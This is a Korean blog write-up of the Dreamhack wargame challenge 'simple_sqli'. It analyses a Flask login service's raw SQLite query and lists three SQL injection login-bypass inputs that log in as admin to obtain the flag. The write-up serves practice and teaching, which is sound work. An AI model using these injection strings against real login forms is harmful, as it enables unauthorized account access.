simple_sqli

2026. 1. 15. 20:27·Dreamhack 워게임/Lv.1
반응형

문제 설명

로그인 서비스입니다.

SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.


코드 분석

데이터베이스

  • 데이터 베이스 파일명을 database.db로 설정
  • 데이터베이스 파일이 존재하지 않을 경우, 데이터베이스 파일 생성
  • users 테이블 userid와 userpassword 생성
  • 테이블 값으로 userid: guest, userpassword: guest, userid: admin, userpassword: 랜덤값(16바이트)

  • getdb함수 정의
  • g는 요청동안만 쓰는 임시 저장 공간
  • g안에 '_database'라는 값 있으면 가져오고 없으면 None 반환해라 라는 뜻
    이미 만들어둔 DB 연결이 있나 확인하는 줄이다.
  • 밑에는 없다면 새로 연결하라는 뜻

  • query_db 함수를 정의하고, query = DB에 보낼 질문(SQL), one=True는 결과를 1개만 받음, False시 결과를 전부 받음
  • get_db로 DB연결하고, DB에 SQL질의문 실행
  • 실행결과 전부다 rv에 저장
  • one=True면 결과 있을 때 rv[0], 결과 없을 때 None / one=False면 rv 전체 출력

  • teardown_appcontext: 요청처리가 끝날 때마다, 아래 함수를 자동으로 호출해라 라는 뜻
  • close_connection 함수 정의
  • g에 '_database' 있으면 가져오고 없으면 None
  • db 연결중이면 닫음

/login

 

GET

: 이용자가 GET 메소드 요청 시 login.html 출력

POST

: 이용자가 POST 요청 시,

  • 이용자한테서 userid와 userpassword 입력받음
  • DB에서 users 테이블에서 userid와 userpassword 가져오고, 사용자가 입력한 값과 비교
  • 쿼리 결과가 존재하는 경우, 로그인할 계정을 해당 쿼리의 결과에서 불러와 사용
  • admin이면 flag획득

취약점 분석

  • login()과 query_db() 함수를 살펴보면 userid와 userpassword를 이용자한테 입력받고, 동적으로 쿼리문을 생성한 뒤, query_db함수에서 SQLite에 질의
  • 이렇게 동적으로 생성된 쿼리를 Rawquery라고 함
  • Rawquery는 이용자의 입력 값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있음
  • 이용자의 입력 값을 검사하는 문구가 필요

익스플로잇

이 쿼리문을 조작

SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";

 

1) ID: admin" --, PW: 1234 입력하면?

SELECT * FROM users WHERE userid="admin"--" AND userpassword="1234";

뒤 내용은 주석 처리가 됨

 

2) ID: admin" or "1, PW: 1234 입력하면?

SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="1234";

AND와 OR 중 AND가 먼저 연산을 수행함 →  1(True) AND userpassword = "1234"로 해석

뒷 내용은 항상 True가 된다.

 

3) ID: admin, PW: 1234" or userid="admin

SELECT * FROM users WHERE userid="admin" AND userpassword="1234" or userid="admin";

앞에 구문은 False가 되지만 False or userid="admin" 문구가 만들어줘 참이 된다.

 

그 밖에 여러 방법이 있다.


 

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

XSS Filtering Bypass  (0) 2026.01.21
{"role": "admin"}  (0) 2026.01.21
csrf-2  (1) 2026.01.11
csrf - 1  (0) 2026.01.11
session-basic  (0) 2026.01.09
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • XSS Filtering Bypass
  • {"role": "admin"}
  • csrf-2
  • csrf - 1
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    hacking
    webstudy
    드림핵
    cve
    CSRF
    alpacahack
    webhacking
    web
    LLM
    DreamHack
    xss
    JavaScript
    JS
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
simple_sqli
상단으로

티스토리툴바